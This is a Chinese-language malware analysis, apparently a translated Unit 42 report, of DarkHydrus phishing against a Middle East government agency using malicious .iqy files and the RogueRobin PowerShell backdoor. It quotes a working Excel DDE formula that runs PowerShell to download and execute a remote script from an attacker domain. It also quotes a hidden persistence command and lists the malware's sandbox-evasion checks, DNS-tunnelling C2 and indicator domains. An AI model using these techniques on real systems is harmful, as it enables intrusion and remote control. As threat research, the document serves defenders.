DarkHydrus针对中东政府发起攻击详情分析

在2018年7月, Unit42分析了针对中东政府机构的新型文件类型的攻击行为, 此次攻击由未公布的威胁组织DarkHydrus执行。基于关联分析可知,该组织自2016年初开始就使用目前的样本版本。这次攻击与先前攻击有所不同,此次钓鱼的电子邮件中附件为有密码保护的RAR压缩包,解压后可发现恶意web查询文件(.iqy)。.iqy文件是包含URL的简单文本文件,默认情况下由Excel打开。 打开后,Excel将检索文件中所有的URL对象。在以往的案例中,载体多为开源合法工具,但这些工具被搭载了恶意代码以进行恶意行为,例如Meterpreter和Cobalt Strike。该组织此次使用了基于PowerShell的自定义有效载荷,我们将之称为RogueRobin。
 
攻击方式
攻击者在7月15日到16日之间发送了鱼叉式网络钓鱼电子邮件。每封电子邮件都有一个受密码保护的RAR压缩包,名为credential.rar。 如图1所示,消息正文用阿拉伯语编写,要求收件人解压RAR压缩包并查看其中名为credential.iqy的文档,该消息同时附录了打开RAR存档所需的密码123456。

翻译这些阿拉伯文,文本含义为:你好请查看附件密码:123456
 
恶意载荷分析
恶意载荷credential.iqy的SHA256为:cc1966eff7bed11c1faada0bb0ed0c8715404abd936cfa816cef61863a0c1dd6该.iqy文件只包含以下字符串文本:http://micrrosoft.net/releasenotes.txtMicrosoft Excel打开.iqy文件后使用文件中的URL来获取要包含在电子表格中的远程数据。 默认情况下,Excel不允许从远程服务器下载数据,会通过显示对话框询问用户的同意:

通过启用此数据连接,用户允许Excel从.iqy文件中的URL里获取内容。releasenotes.txt文件(SHA256:bf925f340920111b385078f3785f486fff1096fd0847b993892ff1ee3580fa9d)中的内容包含以下公式,Excel将其保存到工作表中的“A0”单元格。公式为:=cmd|’ /c C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -nop -exec bypass -c IEX ((New-Object Net.WebClient).DownloadString(”http://micrrosoft.net/winupdate.ps1″))’!A0该公式使用命令语句运行PowerShell脚本,该脚本尝试下载并执行在URL: http:// micrrosoft .net / winupdate.ps1上托管的第二个PowerShell脚本。 默认情况下,Excel不会直接执行命令,但会在用户同意后通过以下对话框后执行此操作:

winupdate.ps1脚本(SHA256:36862f654c3356d2177b5d35a410c78ff9803d1d7d20da0b82e3d69d640e856e)就是我们称之为RogueRobin的负责进行攻击的主要恶意载荷。 它的开发人员使用开源的Invoke-Obfuscation工具来搭载这个PowerShell脚本,特别还使用了Invoke-Obfuscation提供的COMPRESS技术。 解压缩的PowerShell载荷与PowerShell Empire代理有一些相似之处,例如使用抖动值和作业ID引用命令,但是我们没有确凿的证据证明此工具的作者使用Empire作为其工具的基础。在执行其功能之前,有效负载会检查它是否能在沙箱中执行。 该载荷使用WMI查询并且检查运行进程,以获取脚本可能在分析环境中执行的证据。 具体的沙盒检查包括:使用WMI检查VBOX,bochs,qemu,virtualbox和vm的BIOS版本(SMBIOSBIOSVERSION)。使用WMI检查BIOS制造商是否有XEN。使用WMI检查总物理内存是否小于2900000000。使用WMI检查CPU核心数是否小于或等于1。枚举“Wireshark”和“Sysinternals”的运行流程。如果恶意载荷不能在沙箱中运行,它将尝试将自身安装到系统以永久执行。 为了下载此载荷,脚本将创建文件%APPDATA% OneDrive.bat并将以下字符串保存到其中:powershell.exe -WindowStyle Hidden -exec bypass -File “%APPDATA%OneDrive.ps1”然后,该脚本将自身的修改后的副本写入%APPDATA% OneDrive.ps1,并省略执行此安装的代码。 为了在系统启动时持续执行,脚本将在Windows启动文件夹中创建以下快捷方式,该启动文件夹将在每次用户登录时运行OneDrive.ps1脚本:$env:SystemDriveUsers$env:USERNAMEAppDataRoamingMicrosoftWindowsStart MenuProgramsStartupOneDrive.lnk恶意载荷使用自定义的DNS隧道协议与其配置命令和进行控制(C2)的服务器进行通信。 本载荷中配置的域名为:Anyconnect[.]streamBigip[.]streamFortiweb[.]downloadKaspersky[.]sciencemicrotik[.]streamowa365[.]bidsymanteclive[.]downloadwindowsdefender[.]winDNS隧道协议可以使用多种不同的DNS查询类型与C2服务器进行交互。 恶意载荷会进行前期测试以查看哪些DNS查询类型能够成功连接到C2服务器。 它将遍历列表,第一个能够从C2服务器接收响应的DNS类型将用于载荷和C2服务器之间的所有通信,顺序如下:AAAAAACCNAMEMXTXTSRVSOA恶意载荷使用具有特定参数的内置Windows nslookup应用程序和特制的子域来与C2通信。 为了与C2建立通信,有效载荷将首先获得C2服务器发布的系统特定标识符。 载荷使用以下结构发送初始DNS,以获取系统特定标识符查询,其中包括当前进程标识符(PID)作为C2域的子域:.

一旦获得系统标识符,恶意载荷就收集系统特定信息并将其发送到C2服务器。 收集的信息整合到统一规格的字符串中:
 |  |  |  |  |  |  |  |  | 载荷将对此字符串进行base64编码,并使用其DNS隧道协议将数据传输到C2。隧道协议通过发送一系列DNS查询语句来传输数据,这些数据被包含在C2域的子域内。每个发出的DNS请求结构如下: –  –   – .

载荷将针对这些出站请求来搜索不同的响应,这些均是基于载荷与C2通信的DNS请求的类型来进行判断的。 以下显示了C2用于传输成功或取消消息的特定IP地址或字符串,具体取决于与C2进行通信的DNS查询类型:

在提供系统特定信息之后,此载荷将与C2服务器进行交互以获取命令并将其称为作业(jobs)。 C2服务器将提供一个字符串,有效载荷将根据这个字符串去确定基于命令处理程序所要执行的命令。 为了能获取被作为命令处理的字符串,载荷将发出一系列DNS询问语句以解析具有以下结构的域: –  – .C2服务器将对这些包含在IPv4或IPv6地址中的询问的进行响应,具体取决于载荷用于与其C2服务器进行通信的DNS查询的类型。 载荷将根据不同的DNS询问类型使用特定的正则表达式,如表2所示:

这些正则表达式用于构建字符串,然后载荷将受其命令处理程序的指派进行操作。 我们分析了有效负载以确定可用的命令,这些命令提供了各种远程控制的功能。命令字符串如表3所示:

 
活动分析
每个域名都模仿了现有技术厂商的合法域名,安全厂商尤甚。Anyconnect[.]streamBigip[.]streamFortiweb[.]downloadKaspersky[.]sciencemicrotik[.]streamowa365[.]bidsymanteclive[.]downloadwindowsdefender[.]win这些C2服务器解析出来的IP地址均出自中国的1.2.9.0/24,这个地址是C2服务器用于向终端系统发送取消通信消息的IP地址。每个列出的域都使用ns102.kaspersky [.] host和ns103.kaspersky [.] host作为其命名服务器。 通过对ns102 / ns103.kaspersky [.]host进行检查,发现二级域名kaspersky [.]host是非法的,实际上不归卡巴斯基实验室所有。 kaspersky [.]host关联出可疑IP:107.175.150 [.] 113和94.130.88 [.] 9。而94.130.88 [.] 9又可以关联出0utlook [.] bid和hotmai1 [.] com。我们暂时还不知道这些域的具体作用,但基于域名欺骗和共享IP的相似性等特点,它们可能是攻击者用以进行攻击的基础设施的一部分。107.175.150 [.] 113关联出另一个域名qu.edu.qa.0utl00k [.] net。我们基于此C2服务器找到一个恶意文档(SHA256:d393349a4ad00902e3d415b622cf27987a0170a786ca3a1f991a521bff645318),文档中包含与之前分析的恶意行为类似的PowerShell脚本。通过对0utl00k [.] net的二级域名进行搜索可以关联出IP:195.154.41 [.] 150。此IP包含另两个相关域名:allexa [.] net和cisc0 [.] net。通过查询cisc0 [.] net,可以发现有几个武器化文档和恶意载荷从2017年中后期开始就使用这个域作为C2。ClearSky Security表示cisc0 [.] net可能与Copy Kittens组织有关,虽然无法实锤,但是他们所使用的技术和攻击对象都十分相似。有关Copy Kittens的更多信息可以在题为Operation Wilted Tulip的文章中找到。ClearSky Security报告地址为:https://www.clearskysec.com/wp-content/uploads/2018/01/ClearSky_cyber_intelligence_report_2017.pdf
Operation Wilted Tulip文章地址为:https://www.clearskysec.com/wpcontent/uploads/2017/07/Operation_Wilted_Tulip.pdfC2服务器在很长一段时间内被该组织重复使用。例如2017年1月和7月的攻击事件中除了两个载荷之外,也使用了micrrosoft [.] net这个域名。该组织主要使用免费工具或Meterpreter,Mimikatz,PowerShellEmpire,Veil和CobaltStrike等开源软件库来利用被武器化的Microsoft Office文档。这些文档通常不包含恶意代码,而是会对包含恶意代码的远控文件进行检索。
 
结论
DarkHydrus小组利用恶意.iqy文件对至少一个中东政府机构进行了攻击。 .iqy文件利用的是Excel下载电子表格中所包含的远程服务器内容的机制。 DarkHydrus利用这种不起眼的文件格式来运行命令,最终安装PowerShell脚本以获得对系统的后门访问。 当前提供的PowerShell后门是暂时是由恶意组织定制开发的,但是DarkHydrus可能会通过使用合法开源工具将这些功能拼凑在一起。